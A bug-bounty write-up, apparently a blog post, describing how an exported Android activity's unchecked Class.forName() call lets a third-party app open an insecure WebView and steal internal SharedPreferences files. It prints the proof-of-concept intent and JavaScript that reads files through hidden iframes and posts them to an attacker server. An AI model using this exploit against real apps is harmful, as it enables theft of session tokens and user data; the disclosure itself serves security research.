November 3, 2026
Stealing App Internal Files via Intent Redirection to Insecure WebView
بِسْمِ اَللَّهِ وَالْحَمْدِ لِلَّهِ الَّذِي عَلَّمَ بِالْقَلَمِ عَلَّمَ الْإِنْسَانَ مَا لَمْ يَعْلَمْ وَالصَّلَاةَ وَالسَّلَامَ عَلَى…

By abdelnasser
1 min read
بِسْمِ اَللَّهِ وَالْحَمْدِ لِلَّهِ الَّذِي عَلَّمَ بِالْقَلَمِ عَلَّمَ الْإِنْسَانَ مَا لَمْ يَعْلَمْ وَالصَّلَاةَ وَالسَّلَامَ عَلَى خَيْرِ مُعَلِّمِي اَلنَّاسِ اَلْخَيْرِ مُحَمَّدْ وَبَعْدٍ
Description
I was reversing the Android app of a global hospitality company when I noticed the main launcher activity is exported and accepts an extraDeepLinkClass string extra. The app passes it straight to Class.forName() to resolve and launch any internal activity with attacker-controlled extras. By targeting an internal WebView activity that has setAllowUniversalAccessFromFileURLs(true), a zero-permission third-party app can read the app's internal SharedPreferences files and exfiltrate them to an external server. Unfortunately it was closed as a duplicate.
Technical Details
The exported BootActivity reads extraDeepLinkClass from the incoming intent and resolves it via Class.forName() without any validation:
public static final Class<?> resolveClass(String className) {
try {
return Class.forName(className);
} catch (ClassNotFoundException unused) {
return null;
}
}public static final Class<?> resolveClass(String className) {
try {
return Class.forName(className);
} catch (ClassNotFoundException unused) {
return null;
}
}The resolved class is started as an activity with all extras forwarded. This means any internal activity in the app can be launched by a third-party app.
The target is AmexWebViewFragment, which configures its WebView with dangerous settings:
settings.setAllowContentAccess(true);
settings.setAllowFileAccessFromFileURLs(true);
settings.setAllowUniversalAccessFromFileURLs(true);
settings.setAllowFileAccess(true);settings.setAllowContentAccess(true);
settings.setAllowFileAccessFromFileURLs(true);
settings.setAllowUniversalAccessFromFileURLs(true);
settings.setAllowFileAccess(true);The content:// URI supplied through the intent extras is loaded into this WebView. The attacker's page uses an iframe to read internal files:
<iframe src="file:///data/data/com.redacted.app/shared_prefs/prefs.xml"><iframe src="file:///data/data/com.redacted.app/shared_prefs/prefs.xml">The third-party PoC app (zero permissions required) crafts an intent targeting BootActivity with the WebView activity class name and a content:// URI:
Intent intent = new Intent();
intent.setClassName("com.redacted.app",
"com.redacted.app.core.activity.BootActivity");
intent.putExtra("extraDeepLinkClass",
"com.redacted.app.webview.AmexWebViewActivity");
intent.putExtra("extra-web-view-activity-url",
"content://com.attacker.poc.provider/exploit");
startActivity(intent);Intent intent = new Intent();
intent.setClassName("com.redacted.app",
"com.redacted.app.core.activity.BootActivity");
intent.putExtra("extraDeepLinkClass",
"com.redacted.app.webview.AmexWebViewActivity");
intent.putExtra("extra-web-view-activity-url",
"content://com.attacker.poc.provider/exploit");
startActivity(intent);The app resolves the class via Class.forName() and launches the WebView activity, which loads the attacker's content:// URI. The attacker's ContentProvider serves an HTML page that uses hidden iframes to read internal files:
var P = "/data/data/com.redacted.app/shared_prefs/";
["app_preferences.xml", "AppPrefs.xml"].forEach(function(file) {
var ifr = document.createElement("iframe");
ifr.style.display = "none";
ifr.src = "file://" + P + file;
ifr.onload = function() {
var d = ifr.contentDocument.documentElement.outerHTML;
fetch(SERVER + "/collect", {
method: "POST",
body: JSON.stringify({ path: file, data: d })
});
};
document.body.appendChild(ifr);
});var P = "/data/data/com.redacted.app/shared_prefs/";
["app_preferences.xml", "AppPrefs.xml"].forEach(function(file) {
var ifr = document.createElement("iframe");
ifr.style.display = "none";
ifr.src = "file://" + P + file;
ifr.onload = function() {
var d = ifr.contentDocument.documentElement.outerHTML;
fetch(SERVER + "/collect", {
method: "POST",
body: JSON.stringify({ path: file, data: d })
});
};
document.body.appendChild(ifr);
});Because setAllowUniversalAccessFromFileURLs is true, the cross-origin read from content:// to file:// succeeds. The stolen SharedPreferences (session tokens, user data) are sent to the attacker's server.
Takeaways
Exported activities that accept class names as extras need strict allowlist validation. WebViews should never have setAllowUniversalAccessFromFileURLs(true) enabled.
Alhamdulillah for everything
#BugBounty #AndroidSecurity #MobileSecurity #HackerOne #ReverseEngineering